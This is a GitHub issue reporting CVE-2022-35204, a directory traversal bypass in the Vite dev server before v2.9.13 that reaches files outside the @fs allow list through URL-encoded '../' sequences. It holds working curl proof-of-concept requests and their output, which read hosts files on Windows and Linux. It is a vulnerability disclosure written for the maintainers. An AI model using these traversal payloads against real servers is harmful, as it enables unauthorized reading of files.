Headline
CVE-2022-35204: Unrestricted directory traversal with `@fs` (Bypass) · Issue #8498 · vitejs/vite
Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim’s service.
Describe the bug
The vulnerability found at #2820 was found to be not fixed properly, which leads to the unrestricted directory traversal.
Currently the @fs directory does check for the allowed path, but it does not check for encoded paths.
For example, assuming that /@fs/home/test/ is the only allowed path, this can be bypassed by accessing /@fs/home/test/%2e%2e%2f%2e%2e%2f, which translates to /@fs/home/test/…/…/ internally.
Since this way of access through the browser may output an inconsistent result, curl --path-as-is can be used as an alternative way to reproduce such issue.
Reproduction
Any vite project is affected by this vulnerability.
npm init @vitejs/app app cd app npm install npm run dev
Reproduction in Windows
Accessing C:/Windows/System32/drivers/etc/hosts is blocked since the allow list only contains C:/Users/stypr/Desktop/development/q/vite-project.
$ curl --path-as-is -v “http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts” * Trying ::1:3001… * Trying 127.0.0.1:3001… * Connected to localhost (127.0.0.1) port 3001 (#0) > GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1 > Host: localhost:3001 > User-Agent: curl/7.75.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 403 Forbidden < Access-Control-Allow-Origin: * < Date: Wed, 08 Jun 2022 04:00:32 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < Transfer-Encoding: chunked <
<body\>
<h1>403 Restricted</h1>
<p\>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow list.<br/><br/\>\- C:/Users/stypr/Desktop/development/q/vite-project<br/><br/\>Refer to docs https://vitejs.dev/config/#server-fs-allow for configurations and more details.</p>
<style\>
body {
padding: 1em 2em;
}
</style\>
</body\>
* Connection #0 to host localhost left intact *
What if we access like C:/Users/stypr/Desktop/development/q/vite-project/…/…/…/…/…/…/Windows/System32/drivers/etc/hosts? In typical cases, this doesn’t work
However, if we replace the path …/ as %2e%2e%2f and replace every trailing slashes to %2f, the check is bypassed and the path traversal becomes successful.
$ curl --path-as-is -v “http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts” * Trying ::1:3001… * Trying 127.0.0.1:3001… * Connected to localhost (127.0.0.1) port 3001 (#0) > GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts HTTP/1.1 > Host: localhost:3001 > User-Agent: curl/7.75.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Length: 824 < Content-Type: < Last-Modified: Tue, 31 May 2022 03:15:34 GMT < ETag: W/"824-1653966934106" < Cache-Control: no-cache < Date: Wed, 08 Jun 2022 03:53:26 GMT < Connection: keep-alive < Keep-Alive: timeout=5 <
Copyright © 1993-2009 Microsoft Corp.
This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should
be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.
Additionally, comments (such as these) may be inserted on individual
lines or following the machine name denoted by a ‘#’ symbol.
For example:
102.54.94.97 rhino.acme.com # source server
38.25.63.10 x.acme.com # x client host
localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
::1 localhost
*a Connection #0 to host localhost left intact
Reproduction in Linux
Linux is also pretty much the same, you can first get the whitelist path (/srv/q/app) by accessing a random path(/@fs/…), and then do a path traversal based on the given whitelist.
curl -v --path-as-is “http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts” * Trying 192.168.125.129:3000… * TCP_NODELAY set * Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0) > GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1 > Host: 192.168.125.129:3000 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Length: 221 < Content-Type: < Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT < ETag: W/"221-1593510111311" < Cache-Control: no-cache < Date: Wed, 08 Jun 2022 04:09:49 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < 127.0.0.1 localhost 127.0.1.1 ubuntu
The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters * Connection #0 to host 192.168.125.129 left intact
System Info
Windows
System:
OS: Windows 10 10.0.19044
CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor
Memory: 33.13 GB / 63.93 GB
Binaries:
Node: 16.13.2 - C:\Program Files\nodejs\node.EXE
Yarn: 1.22.10 - ~\AppData\Roaming\npm\yarn.CMD
npm: 8.1.2 - C:\Program Files\nodejs\npm.CMD
Browsers:
Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)
Internet Explorer: 11.0.19041.1566
npmPackages:
@vitejs/plugin-vue: ^2.3.3 => 2.3.3
vite: ^2.9.9 => 2.9.10
Linux
System:
OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)
CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor
Memory: 12.21 GB / 15.59 GB
Container: Yes
Shell: 5.0.17 - /bin/bash
Binaries:
Node: 14.18.3 - /usr/bin/node
Yarn: 1.22.10 - /usr/bin/yarn
npm: 6.14.15 - /usr/bin/npm
Browsers:
Chrome: 97.0.4692.99
Firefox: 100.0.2
Used Package Manager
npm
Validations
- Follow our Code of Conduct
- Read the Contributing Guidelines.
- Read the docs.
- Check that there isn’t already an issue that reports the same bug to avoid creating a duplicate.
- Make sure this is a Vite issue and not a framework-specific issue. For example, if it’s a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/core instead.
- Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
- The provided reproduction is a minimal reproducible example of the bug.
Related news
Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.